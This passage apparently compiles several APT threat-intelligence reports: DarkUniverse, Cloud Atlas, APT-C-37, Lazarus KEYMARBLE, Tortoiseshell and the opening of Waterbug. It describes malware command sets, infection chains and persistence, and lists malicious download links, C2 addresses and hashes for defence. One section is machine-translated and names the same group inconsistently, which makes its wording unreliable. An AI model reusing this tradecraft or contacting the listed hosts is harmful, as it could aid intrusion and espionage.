ws2_32.recv; ws2_32.WSARecv; ws2_32.closesocket. The dfrgntfs5.sqt module This is the most functional component of the DarkUniverse framework. It processes an impressive list of commands from the C2, which are listed in the following table. Command Description Sends malware version to server. DESINSTALAR Uninstalls itself. PANTALLA Takes screenshot of the full screen and saves it to the \queue folder. CAN_TCP, CAN_HTTP, CAN_HTTPS Injects a shellcode into IE that establishes a direct connection with the C2, downloads additional code, sends info about the download results to the C2 and executes the downloaded code. MET_TCP, MET_HTTPS Also injects a shellcode into IE. The only difference with the previous command set is that in this case the shellcode doesn send any additional info to the C2 it only establishes the connection, downloads additional code and executes it. CAN_HTTP_LSASS Injects the same shellcode as in the case of CAN_HTTP into the LSASS.exe process. SCAN/STOPSCAN Starts/stops network scan. Collects lots of different info about the local network. CREDSCAN Brute-forces IP range with specified username and password. ACTUALIZAR Updates dfrgntfs5.sqt. ACTUALIZARK Updates msvcrt58.sqt. SYSINFO Collects full system info. REDBULL Sets cafe flag to 1 active. SLOWCOW Sets cafe flag to 0 slow mode. Runs specified process and logs its output, then prepares this output log for uploading to the C2. Obtains list of files from a specific directory. TAUTH Obtains list of files of remote server if specified credentials are valid. Sends a file to the C2. GAUTH Downloads a particular file from a shared resource if specified credentials are valid. SPLIT Splits file into 400 KB parts and uploads them to the C2. FLUSH Sends file with the data collected by all components that day and deletes it. Sets the C2 in its configuration in the registry (C1-C4). TL1 TL3 Sets the active state in its configuration in the registry (T1-T3). ONSTART Sets process to be started every malware startup. CLEARONSTART Undoes previous ONSTART command. Runs unavailable ARP module (uncparse.dll unavailable). This module stores data in a file internally named arpSniff.pcap. AUTO Automatically looks for updates of predefined files. MANUAL Files in the specified directory are searched using the * .upd pattern, all found files are deleted. REGDUMP Collects information from the registry. PWDDUMP Collects and decrypts credentials from Outlook Express, Outlook, Internet Explorer, Windows Mail and Windows Live Mail, Windows Live Messenger, and also Internet Cache; LOGHASH Injects process into lsass.exe and starts collecting password hashes in the file checksums.bk. SENDLOGHASH Sends collected lsass.exe process password hashes to the C2. PROXYINFO Checks if credentials for proxy are valid. DHCP Sets DHCP settings for local machine. Sets DNS settings for local machine. FAKESSL Provides basic MITM functionality. Victimology We recorded around 20 victims geolocated in Syria, Iran, Afghanistan, Tanzania, Ethiopia, Sudan, Russia, Belarus and the United Arab Emirates. The victims included both civilian and military organizations. We believe the number of victims during the main period of activity between 2009 and 2017 was much greater. Conclusions DarkUniverse is an interesting example of a full cyber-espionage framework used for at least eight years. The malware contains all the necessary modules for collecting all kinds of information about the user and the infected system and appears to be fully developed from scratch. Due to unique code overlaps, we assume with medium confidence that DarkUniverse s creators were connected with the ItaDuke set of activities. The attackers were resourceful and kept updating their malware during the full lifecycle of their operations, so the observed samples from 2017 are totally different from the initial samples from 2009. The suspension of its operations may be related to the publishing of the Lost in Translation leak, or the attackers may simply have decided to switch to more modern approaches and start using more widely available artefacts for their operations. Appendix I Indicators of Compromise MD5 Hashes 1addee050504ba999eb9f9b1ee5b9f04 4b71ec0b2d23204e560481f138833371 4e24b26d76a37e493bb35b1a8c8be0f6 405ef35506dc864301fada6f5f1d0711 764a4582a02cc54eb1d5460d723ae3a5 c2edda7e766553a04b87f2816a83f563 71d36436fe26fe570b876ad3441ea73c A full set of IOCs, including YARA rules, is available to customers of the Kaspersky Intelligence Reporting service. For more information, contact intelreports@kaspersky.com Recent Cloud Atlas activity securelist.com/recent-cloud-atlas-activity/92016 By GReAT Also known as Inception, Cloud Atlas is an actor that has a long history of cyber-espionage operations targeting industries and governmental entities. We first reported Cloud Atlas in 2014 and we ve been following its activities ever since. From the beginning of 2019 until July, we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia, Central Asia and regions of Ukraine with ongoing military conflicts. Countries targeted by Cloud Atlas recently Cloud Atlas hasn t changed its TTPs (Tactic Tools and Procedures) since 2018 and is still relying on its effective existing tactics and malware in order to compromise high value targets. The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high profile victims. These emails are crafted with Office documents that use malicious remote templates whitelisted per victims hosted on remote servers. We described one of the techniques used by Cloud Atlas in 2017 and our colleagues at Palo Alto Networks also wrote about it in November 2018. Previously, Cloud Atlas dropped its validator implant named PowerShower directly, after exploiting the Microsoft Equation vulnerability (CVE-2017-11882) mixed with CVE-2018-0802. During recent months, we have seen a new infection chain, involving a polymorphic HTA, a new and polymorphic VBS implant aimed at executing PowerShower, and the Cloud Atlas second stage modular backdoor that we disclosed five years ago in our first blogpost about them and which remains unchanged. s meet PowerShower PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage. The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower. The PowerShower backdoor even in its later developments takes three commands: Command Description 0x80 (Ascii It is the first byte of the magic PK. The implant will save the received content as a ZIP archive under %TEMP%\PG.zip. 0x79 (Ascii It is the first byte of On resume error . The implant saves the received content as a VBS script under %APPDATA%\Microsoft\Word\[A-Za-z]{4}.vbs and executes it by using Wscript.exe Default If the first byte doesn t match 0x80 or 0x79, the content is saved as an XML file under %TEMP%\temp.xml . After that, the script loads the content of the file, parses the XML to get the PowerShell commands to execute, decodes them from Base64 and invokes IEX. After executing the commands, the script deletes %TEMP%\temp.xml and sends the content of %TEMP%\pass.txt to the C2 via an HTTP POST request. A few modules deployed by PowerShower have been seen in the wild, such as: A PowerShell document stealer module which uses 7zip (present in the received PG.zip) to pack and exfiltrate *.txt, *.pdf, *.xls or *.doc documents smaller than 5MB modified during the last two days; A reconnaissance module which retrieves a list of the active processes, the current user and the current Windows domain. Interestingly, this feature is present in PowerShower but the condition leading to the execution of that feature is never met in the recent versions of PowerShower; A password stealer module which uses the opensource tool LaZagne to retrieve passwords from the infected system. We haven t yet seen a VBS module dropped by this implant, but we think that one of the VBS scripts dropped by PowerShower is a dropper of the group s second stage backdoor documented in our article back in 2014. And his new friend, VBShower During its recent campaigns, Cloud Atlas used a new polymorphic infection chain relying no more on PowerShower directly after infection, but executing a polymorphic HTA hosted on a remote server, which is used to drop three different files on the local system. A backdoor that we name VBShower which is polymorphic and replaces PowerShower as a validator; A tiny launcher for VBShower ; A file computed by the HTA which contains contextual data such as the current user, domain, computer name and a list of active processes. This polymorphic infection chain allows the attacker to try to prevent IoC-based defence, as each code is unique by victim so it can t be searched via file hash on the host. The VBShower backdoor has the same philosophy of the validator version of PowerShower. Its aim is to complicate forensic analysis by trying to delete all the files contained in %APPDATA%\..\Local\Temporary Internet Files\Content.Word and %APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word\ Once these files have been deleted and its persistence is achieved in the registry, VBShower sends the context file computed by the HTA to the remote server and tries to get via HTTP a VBS script to execute from the remote server every hour. At the time of writing, two VBS files have been seen pushed to the target computer by VBShower. The first one is an installer for PowerShower and the second one is an installer for the Cloud Atlas second stage modular backdoor which communicates to a cloud storage service via Webdav. Final words Cloud Atlas remains very prolific in Eastern Europe and Central Asia. The actor s massive spear-phishing campaigns continue to use its simple but effective methods in order to compromise its targets. Unlike many other intrusion sets, Cloud Atlas hasn t chosen to use open source implants during its recent campaigns, in order to be less discriminating. More interestingly, this intrusion set hasn t changed its modular backdoor, even five years after its discovery. IoCs Some emails used by the attackers infocentre.gov@mail.ru middleeasteye@asia.com simbf2019@mail.ru world_overview@politician.com infocentre.gov@bk.ru VBShower registry persistence Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[a-f0-9A-F]{8} Value : wscript //B %APPDATA%\[A-Za-z]{5}.vbs VBShower paths %APPDATA%\[A-Za-z]{5}.vbs.dat %APPDATA%\[A-Za-z]{5}.vbs %APPDATA%\[A-Za-z]{5}.mds VBShower C2s 176.31.59.232 144.217.174.57 Pat Bear (APT-C-37): Continued Exposure to an Armed Organization's Attacks blogs.360.cn/post/analysis-of-apt-c-37.html March 25, 2019 Pat Bear (APT-C-37): Continued to expose attacks on an armed organization I. Overview Since October 2015, the Pat Bear Organization (APT-C-37) has launched an organized, planned, and targeted long-term uninterrupted attack against an armed organization. Its attack platform is Windows and Android. Up to now, 360 Beaconlab has captured 32 Android platform attack samples, 13 Windows platform attack samples, and 7 C&C domain names. Due to its own political and religious issues, an armed organization has become the target of many hackers and countries. In March 2017, an armed group, the Amaq Media Channel, issued a warning message reminding visitors that the site has been infiltrated, and anyone who visits the site will be asked to download a virus file that pretends to be a Flash installer. From the news, we determined that an armed organization is the target of the action, and its load delivery method includes at least a puddle attack. Through analysis, we found that a major C&C used by the racquet bear organization is located in a certain country in the Middle East, and the C&C used by the golden rat organization [1] of the same period belongs to the same network segment. Further analysis and comparison, the two organizations have strong correlation, and both contain their own unique RAT. Since the target of the patted bear organization is aimed at an armed organization that supports dual-platform attacks, there has been only one unique animal in the Middle East with a soldier certificate in history, combining some other characteristics of the organization and 360 pairs of APT. The organization's naming rules, we named the organization a role name in the DOTA game - pat the bear. 1/15 Figure 1.1 Key time event points related to patted bear attacks Second, the load delivery The way of patted bear tissue load delivery is mainly puddle attack. Puddle attack Al Swarm News Agency website (see Figure 2.1) is a media website belonging to an armed organization. For the same reason, it has also suffered various attacks from all over the world. It has changed several domain names and the website has been offline. In addition to the puddle attack on the Amaq media website mentioned above, we found that Al Swarm News Agency was also used by the organization for puddle attacks. 2/15 Figure 2.1 Al Swarm News Agency website (Note: Obtained by archive) The puddle attack mode is to replace the normal APP of the Al Swarm station with a malicious APP inserted into the RAT. The RAT specific download link and the link corresponding file MD5 are shown in Table 1. Malicious download link https://sawarim.net/apps/Sawarim.apk Domain name status Invalid Download APK file MD5 Bb2d1238c8418cde13128e91f1a77ae7 Table 1 Android RAT program specific download link and link corresponding file MD5 In addition to the above two puddle attacks against an armed organization's news media website, we also found that some other historical puddle attacks used by the organization are shown in Table 2, including the specific download links and links for Android and Windows RAT programs. Corresponding file MD5. Malicious download link http://androids-app.com/downloads/Youtube_v3_4.apk Domain name status Invalid Download APK file Dc1ede8e2d3206b04cb95b6ae62f43e0 Malicious download link http://androids-app.com/SystemUI.exe 3/15 Malicious download link http://androids-app.com/downloads/Youtube_v3_4.apk Domain name status Invalid Download PE file D2c40e2183cf18855c36ddd14f8e966f Malicious download link http://snapcard.argia.co.id/woocommerce/wpcontent/plugins/Adobe_FlashPlayerX86_64.exe Domain name status Invalid Download PE file 8c49833f76b17fdaafe5130f249312ca Malicious download link http://snapcard.argia.co.id/woocommerce/wpcontent/plugins/Adobe_FlashPlayer_installX86.exe Domain name status Invalid Download PE file E6e676df8250a7b930b2d016458225e2 Table 2 RAT program specific download link and link corresponding file MD5 Third, the way of induction The patted bear organization mainly uses the following two induction methods in this operation: Camouflage with normal APP function In order to be better evasive, in addition to camouflage the file icon, the RAT is also inserted into the normal APP, such as an app called " , which displays the normal interface after running. However, when the specified broadcast is received, espionage occurs in the background. 4/15 Figure 3.1 Camouflage APP " with two RATs File icon camouflage Figure 3.2 Disguised application software icon Fourth, RAT attack sample analysis Up to now, the bat shooting organization has used several different RATs for Android and Windows. Android There are three RATs used in the Android side. Two of them (DroidJack and SpyNote) are more frequently used commercial RATs. They have been spread on multiple hacking forums 5/15 and have been detected and exposed by many security companies. And we think that it was developed specifically for this attack, we are named SSLove, which only appeared in the event and has been updated in several versions. DroidJack Droidjack is an extremely popular RAT with its own official website, powerful and convenient management tools. The organization uses Droidjack in addition to direct use; it will also be inserted into the normal APP to hide, interestingly, SSLove will also be inserted into the app, which means that the app will have two RATs at the same time. Figure 4.1 Droidjack management tool interface diagram SpyNote SpyNote is similar to Droidjack. Although the Snap Bear organization uses SpyNote, the RAT has been used for a limited number of times in this attack. 6/15 Figure 4.2 SpyNote management tool interface diagram SSLove This is a RAT that was not previously exposed. According to the special character "runmylove" contained in the RAT, combined with it is the first RAT found to use SqlServer to implement instruction interaction, we named SSLove. The latest version of SSLove has features such as stealing text messages, contacts, WhatsApp and Telegram data, and uploading files using FTP. The organization uses SSLove in the same way as the Droidjack, one of which is used directly, in which the Al Swarm website mentioned above is used by the camouflage APP used by the bear organization for puddle attacks; the other is the insertion. Hide it in the normal app. 7/15 Figure 4.3 SSLove command function related data table Windows There are three RATs used on the Windows side, all of which have been popular in the Middle East for several years. Two of them (njRAT and H-worm) have been exposed multiple times, but they are still active. NjRAT NjRAT[2], also known as Bladeabindi, can control the registry, processes, files, etc. of the controlled terminal through the control terminal, and can also record the keyboard of the controlled terminal. At the same time, njRAT uses a plug-in mechanism to extend the functionality of njRAT through different plug-ins. The organization is mostly not directly used when using njRAT, but is sub-encapsulated on the basis of njRAT, using C# to add a shell to njRAT, and a lot of confusion about the shell code. The role of the shell is to load njRAT in memory to prevent njRAT from being detected by anti-virus software. This is the case when the Amaq website mentioned above is used by the organization to masquerade as an Adobe Flash Player. 8/15 Figure 4.4 njRAT extracted from malicious samples disguised in Amaq puddle activity H-Worm H-Worm is a VBS (Visual Basic Script) based RAT. For information on the RAT, refer to FireEye's previous detailed report "Now You See Me - H-worm by Houdini" [3]. The attack used the H-Worm version after the confusion, and after the confusion was removed, we found that the list of instructions did not change. Figure 4.5 Confused H-Worm code snippet instruction Features Excecute Execute server command Update Update load Uninstall Uninstall yourself Send download file Site-send Specify website download file Recv upload data Enum-driver Enumeration driver Enum-faf Enumerate files in the specified directory 9/15 instruction Features Enum-process Enumeration process Cmd-shell Execution shell Delete Delete Files Exit-process end process Sleep Set script sleep time Table 3 H-Worm sample instruction and function correspondence Fkn0wned Fkn0wned is a RAT written in VB.NET. This attack uses an earlier version. It only receives the "DOWNLOAD" command. The DDoS function code does not work. The RAT is actually a downloader. Figure 4.4 fkn0wned configuration information and command response code map C&C, IP and partial sample correspondence 10/15 Figure 4.5 C&C, IP and partial sample correspondence V. Distribution of the attacked area Up to now, 360 Campfire Lab found that there were 11 countries affected by the attack on the bear organization attack. Through inquiry, it can be known that there are some armed organizations in these countries. Obviously, the cause of this distribution is caused by several targeted puddle attacks used by the organization. 11/15 Figure 5.1 Distribution of the attacked area Sixth, traceability and relevance 360 bonfire laboratory through the analysis of the bat bat attack activity, combined with the previous analysis of the gold rat organization, we found that the two organizations removed the attack target and their respective exclusive RAT, the two have very Strong relevance. They are all familiar with Arabic and have been working on Android and Windows platforms for several years. They are good at puddle attacks. A variety of RATs are used, most of which are used by both parties. Both organizations used C&C on the same network segment for two time periods. Seven, summary With the geopolitical conflicts and other issues, the parties tried to take the lead through network intelligence and cyberattack activities, further causing the cyberspace conflict to intensify. The racquet bear organization is another spy intelligence activity organization based on this. Without the peace factor, the attack cannot be stopped. Recent reports claim that an armed group in a certain country in the Middle East has been attacked and declared dead. This may mean that the attack on the racquet bear organization will change, and finally hope that peace will last long! Appendix A: Sample MD5 12/15 Android attack sample MD5 Windows attack sample MD5 12100da4635765f8d69d684f742a47bd 085e195c9b14ef099171805c44ff4914 1d5e36be4b94289f214447964ede688d 1a655affc8d5fffa48915a934f31f95e 1daf7e38d8d918e8e087ad590b299218 291c3f5b9b53381283a044e337899c84 1eb8e8667ed7d2a07076e3d240207613 6d6961ced0e77c28f881db579301a927 249aad5d2722b69aac7ed27c9e669c79 8bb342a3e770717bd8f39ac12a687b54 2706be45411ed22ce456b8fe8273b285 8c49833f76b17fdaafe5130f249312ca 31aad6045f403fcd397e19cad4f80d1f Ba1249123e808e744aeb96753bc119d4 3751db0d511305b39601e09959491d8e Bfaf6389cb9fba695daa8552f697d40b 430a0b26cc53f7d39b8192d0b3f79837 D2c40e2183cf18855c36ddd14f8e966f 4333a9e5d6de6e12b368f5a943a30a0e D52f57b6597e55c40c21b0f8c763cd69 484d74ebd0e3586e2ff694017dcaa9e3 D9153bdf30e0a3ab31601e43d85c9949 51f7d6fec2be62fc29cfb94f52803428 Daf7f053cf78690ff0c6ec0384d85bf2 523845736fc92ea80e9880641b768dc1 E6e676df8250a7b930b2d016458225e2 71d0cea1bee13d1e36b5a53788001b85 7d50a9bd474a7c5878ac8e0e4a183a8b 80382a7f2eb4f292a28554bc95b57938 98d584d4d575e31f9f4f70c9be05166f A31f1ce49662a60daa46180d02ab6218 A41c5f227ac2816355ce4cf650993749 A95d57eaaf7847a07e62c6ea0fecbfb7 B7d12ab736b41d503e93a0bd6125cf62 B87f516b2ee0e6df09510f75b16c25ef Bb2d1238c8418cde13128e91f1a77ae7 Bef2dddd8892a4985879971cf437d79b 13/15 Android attack sample MD5 Windows attack sample MD5 C9e434e780b5bed397c543bb3264deea D195511307a2c5ac52bebf8a98b9dfae D207a876369681ed476f650d808a25a8 Dc1ede8e2d3206b04cb95b6ae62f43e0 E92651bb3ad8c5c3acf38dedb2abc2ca Ea6e187934fc1459d3b04b0898496b2c Eb3310f19720abddc34c4602983e4f3c F66d99406819ca96b47d7ff0881a0a1a Appendix B: C&C 66.85.157.86 82.137.255.0 Da3da3.duckdns.org Samd1.duckdns.org Samd2.duckdns.org Sorry.duckdns.org Btcaes2.duckdns.org Appendix C: Reference Links [1] https://ti.360.net/blog/articles/analysis-of-apt-c-27/ [2] https://en.wikipedia.org/wiki/Njrat [3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-byhoudini.html This article links: http://blogs.360.cn/post/analysis-of-apt-c-37.html -- EOF -14/15 15/15 ATTACKS OF THE LAZARUS CYBERCRIMINAL GROUP ATTENDED TO ORGANIZATIONS IN RUSSIA securitysummitperu.com/articulos/se-identifico-ataques-del-grupo-cibercriminal-lazarus-dirigidos-aorganizaciones-en-rusia 20 de febrero de 2019 Security investigators have concluded that the North Korean state-sponsored cybercriminal group, Lazarus, would be conducting suspicious activities targeting companies based in Russia. This is based on the connections discovered between the tactics, techniques and tools detected and the mode of operation of the group also known as Hidden Cobra. Affected Services Microsoft Windows Operating Systems Technical details The Lazarus campaign targeting Russia uses malicious Office documents delivered as ZIP files, along with a PDF document called NDA_USA.pdf that contains a StarForce Technologies agreement, which is a Russian software company that provides copy protection software. The security community believes that Lazarus is divided into at least two subdivisions: the first called Andariel, which focuses on attacking the government and organizations of South Korea, and the second, Bluenoroff, whose main focus is monetization and campaigning. global espionage This incident, however, represents an unusual choice of victim by the North Korean threat actor. Typically, these attacks reflect geopolitical tensions between the Democratic People's Republic of Korea (DPRK) and nations such as the United States, Japan and South Korea. Infection chain The main infection flow consists of the following three main steps: 1. A ZIP file that contains two documents: a benign decoy PDF document and a malicious Word document with macros. 2. The malicious macro downloads a VBS script from a Dropbox URL, followed by the execution of the VBS script. 3. The VBS script downloads a CAB file from the server in the download zone, extracts the embedded EXE file (KEYMARBLE) with the Windows expand.exe utility and finally executes Figure 1 : Lazarus KEymarble malware infection sequence. KEYMARBLE This malware is a remote administration tool (RAT) that provides its operators with basic functionality to retrieve information from the victim's computer. Once executed, it performs several initializations, contacts a Command and Control (C&C) server and waits indefinitely to receive new commands. Each command received is processed by the backdoor and is handled within an appropriate function, which in turn collects information or performs an action on the target computer. Commitment Indicators (IoC) 194 [.] 45 [.] 8 [.] 41 37 [.] 238 [.] 135 [.] 70 Hashes MD5 : dc3fff0873c3e8e853f6c5e01aa94fcf SHA256 : 1c4745c82fdcb9d05e210eff346d7bee2f087357b17bfcf7c2038c854f0dee61 MD5 : 704d491c155aad996f16377a35732cb4 SHA256 : e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 MD5 : 2b68360b0d4e26d2b5f7698fe324b87d SHA256 : 49a23160ba2af4fba0186512783482918b07a32b0e809de0336ba723636ae3b6 MD5 : a7be38e8f84c5ad9cce30d009dc31d32 SHA256 : f4bdf0f967330f9704b01cc962137a70596822b8319d3b35404eafc9c6d2efe7 MD5 : 7646d1fa1de852bb99c621f5e9927221 SHA256 : 9894f6993cae186981ecb034899353a04f1a9b009bdf265cecda9595b725ee20 MD5 : 22d53ada23b2625265cdbddc8a599ee0 SHA256 : 8e099261929b1b09e9d637e8d054d5909b945b4157f29337977eb7f5fb835e5d Our clients are recommended to follow the following preventive actions to reduce risks: For information security personnel: Maintain a strict update protocol for operating systems, antivirus and all applications running on them. Constantly raise awareness among users on issues related to computer security. Restrict the ability (permissions) of users to install and run unwanted software applications. Do not add users to the local administrators group unless necessary. Block the commitment indicators (IOC) shown in the security devices of your infrastructure. ** Before carrying out the blocking of IOCs, it is important that in the development environment it is previously validated and confirmed at the level of internal and external services, in order to apply the changes in a controlled manner. For end users: Verify the account information that sends you an email, the name and address of the recipient to identify if they are suspicious. Do not open emails of doubtful origin (unknown sender), or click on links, or download unknown attachments. If a spam or phishing email is detected, report it immediately to the information security officers of your institution. Scan all software downloaded from the Internet before execution. Visit secure web pages (https), and verify the digital certificate with a click on the status bar lock. Sources Source 1: North Korea Turns Against New Targets ?! Source 2: North Korean APT Lazarus Targets Russian Entities with KEYMARBLE Backdoor If you have any questions, do not hesitate to contact us: reports@securesoftcorp.com Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access. "#Tortoiseshell group uses custom malware, off-the-shelf tools, #livingofftheland techniques to compromise victims https://symc.ly/2lV4Ovn" Another notable element of this attack is that, on two of the compromised networks, several hundred computers were infected with malware. This is an unusually large number of computers to be compromised in a targeted attack. It is possible that the attackers were forced to infect many machines before finding those that were of most interest to them. We have seen Tortoiseshell activity as recently as July 2019. Custom tools The unique component used by Tortoiseshell is a malware called Backdoor.Syskit. This is a basic backdoor that can download and execute additional tools and commands. The actors behind it have developed it in both Delphi and .NET. Backdoor.Syskit is run with the -install parameter to install itself. There are a number of minor variations of the backdoor, but the primary functionality is the following: reads config file: %Windir%\temp\rconfig.xml writes Base64 encoding of AES encrypted (with key "fromhere") version of the data in the "url" element of the XML to: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Enablevmd This contains the command and control (C&C) information. writes Base64 encoding of AES encrypted (with key "fromhere") version of the "result" element of the XML to: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Sendvmd This holds the later portion of the URL to append to the C&C for sending information to it. deletes the config file The malware collects and sends the machine s IP address, operating system name and version, and Mac address to the C&C server using the URL in the Sendvmd registry key mentioned above. Data sent to the C&C server is Base64 encoded. The backdoor can receive various commands: "kill_me": stops the dllhost service and deletes %Windir%\temp\bak.exe "upload " downloads from the URL provided by the C&C server "unzip" uses PowerShell to unzip a specified file to a specified destination, or to run cmd.exe /c Tools, techniques, and procedures The other tools used by the group are public tools, and include: Infostealer/Sha.exe/Sha432.exe Infostealer/stereoversioncontrol.exe get-logon-history.ps1 Infostealer/stereoversioncontrol.exe downloads a RAR file, as well as the get-logonhistory.ps1 tool. It runs several commands on the infected machine to gather information about it and also the Firefox data of all users of the machine. It then compresses this information before transferring it to a remote directory. Infostealer/Sha.exe/Sha432.exe operates in a similar manner, gathering information about the infected machine. We also saw Tortoiseshell using other dumping tools and PowerShell backdoors. The initial infection vector used by Tortoiseshell to get onto infected machines has not been confirmed, but it is possible that, in one instance, a web server was compromised to gain access by the attacker. For at least one victim, the first indication of malware on their network was a web shell (d9ac9c950e5495c9005b04843a40f01fa49d5fd49226cb5b03a055232ffc36f3). This indicates that the attackers likely compromised a web server, and then used this to deploy malware onto the network. This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network. Once on a victim computer, Tortoiseshell deploys several information gathering tools, like those mentioned above, and retrieves a range of information about the machine, such as IP configuration, running applications, system information, network connectivity etc. On at least two victim networks, Tortoiseshell deployed its information gathering tools to the Netlogon folder on a domain controller. This results in the information gathering tools being executed automatically when a client computer logs into the domain. This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network. Presence of OilRig tools In one victim organization, we also saw a tool called Poison Frog deployed one month prior to the Tortoiseshell tools. Poison Frog is a backdoor and a variant of a tool called BondUpdater, which was previously seen used in attacks on organizations in the Middle East. The tools were leaked on Telegram in April this year and are associated with the group known as APT34, aka Oilrig. It is unclear if the same actor deployed both the Poison Frog tool and the Tortoiseshell tools, however, given the gap in time between the two sets of tools being used, and without further evidence, the current assumption is that the activity is unrelated. If that is the case, this activity demonstrates the interest from multiple attack groups in industries in this region. The Poison Frog tool also appears to have been leaked prior to deployment to this victim, so could be used by a group unrelated to APT34/Oilrig. Attacker motives The targeting of IT providers points strongly to these attacks being supply chain attacks, with the likely end goal being to gain access to the networks of some of the IT providers customers. Supply chain attacks have been increasing in recent years, with a 78 percent increase in 2018, as we covered in ISTR 24. Supply chain attacks, which exploit third-party services and software to compromise a final target, take many forms, including hijacking software updates and injecting malicious code into legitimate software. IT providers are an ideal target for attackers given their high level of access to their clients computers. This access may give them the ability to send malicious software updates to target machines, and may even provide them with remote access to customer machines. This provides access to the victims networks without having to compromise the networks themselves, which might not be possible if the intended victims have strong security infrastructure, and also reduces the risk of the attack being discovered. The targeting of a third-party service provider also makes it harder to pinpoint who the attackers true intended targets were. The customer profiles of the targeted IT companies are unknown, but Tortoiseshell is not the first group to target organizations in the Middle East, as we have covered in previous blogs. However, we currently have no evidence that would allow us to attribute Tortoiseshell activity to any existing known group or nation state. Protection/Mitigation The following protections are also in place to protect customers against Tortoiseshell activity: Backdoor.Syskit Indicators of Compromise SHA256 Name f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 Backdoor.Syskit 02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2 Backdoor.Syskit 07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4 Backdoor.Syskit Backdoor.Syskit C&C servers 64.235.60.123 64.235.39.45 Backdoor.Syskit C&C servers The Attack Investigation Team is a group of security experts within Symantec Security Response whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis which helps customers respond to attacks. Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments symantec.com/blogs/threat-intelligence/waterbug-espionage-governments The Waterbug espionage group (aka Turla) has continued to attack governments and international organizations over the past eighteen months in a series of campaigns that have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking of another espionage group s infrastructure. Three waves of attacks Recent Waterbug activity can be divided into three distinct campaigns, characterized by differing toolsets. One campaign involved a new and previously unseen backdoor called Neptun (Backdoor.Whisperer). Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers. This passive listening capability makes the malware more difficult to detect. Neptun is also able to download additional tools, upload stolen files, and execute shell commands. One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus (aka OilRig, APT34). A second campaign used Meterpreter, a publicly available backdoor along with two custom loaders, a custom backdoor called photobased.dll, and a custom Remote Procedure Call (RPC) backdoor. Waterbug has been using Meterpreter since at least early 2018 and, in this campaign, used a modified version of Meterpreter, which was encoded and given a .wav extension in order to disguise its true purpose. The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. This tool is designed to bypass detection aimed at identifying malicious PowerShell usage. Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry. This was probably done to avoid them being written to the file system. 1/11 2/11 Figure 1. Waterbug group rolls out fresh toolset in three new campaigns Retooled Waterbug s most recent campaigns have involved a swath of new tools including custom malware, modified versions of publicly available hacking tools, and legitimate administration tools. The group has also followed the current shift towards living off the land, making use of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes on other systems. Aside from new tools already mentioned above, Waterbug has also deployed: A new custom dropper typically used to install Neptun as a service. A custom hacking tool that combines four leaked Equation Group tools (EternalBlue, EternalRomance, DoublePulsar, SMBTouch) into a single executable. A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file. It then uses WebDAV to upload to a Box cloud drive. Visual Basic scripts that perform system reconnaissance after initial infection and then send information to Waterbug command and control (C&C) servers. PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C&Cs. Publicly available tools such as IntelliAdmin to execute RPC commands, SScan and NBTScan for network reconnaissance, PsExec for execution and lateral movement, and Mimikatz (Hacktool.Mimikatz) for credential theft, and Certutil.exe to download and decode remote files. These tools were identified being downloaded via Waterbug tools or infrastructure. Victims These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors. Since early 2018, Waterbug has attacked 13 organizations across 10 different countries: The Ministry of Foreign Affairs of a Latin American country The Ministry of Foreign Affairs of a Middle Eastern country The Ministry of Foreign Affairs of a European country The Ministry of the Interior of a South Asian country Two unidentified government organizations in a Middle Eastern country One unidentified government organization in a Southeast Asian country 3/11 A government office of a South Asian country based in another country An information and communications technology organization in a Middle Eastern country Two information and communications technology organizations in two European countries An information and communications technology organization in a South Asian country A multinational organization in a Middle Eastern country An educational institution in a South Asian country Hijacked infrastructure One of the most interesting things to occur during one of Waterbug s recent campaigns was that during an attack against one target in the Middle East, Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware on to the victim s network. Press reports have linked Crambus and Waterbug to different nation states. While it is possible that the two groups may have been collaborating, Symantec has found no further evidence to support this. In all likelihood, Waterbug s use of Crambus infrastructure appears to have been a hostile takeover. Curiously though, Waterbug also compromised other computers on the victim s network using its own infrastructure. During this attack, a customized variant of the publicly available hacking tool Mimikatz was downloaded to a computer on the victim s network from known Crambus-controlled network infrastructure. Mimikatz was downloaded via the Powruner tool and the Poison Frog control panel. Both the infrastructure and the Powruner tool have been publicly tied to Crambus by a number of vendors. Both were also mentioned in recent leaks of documents tied to 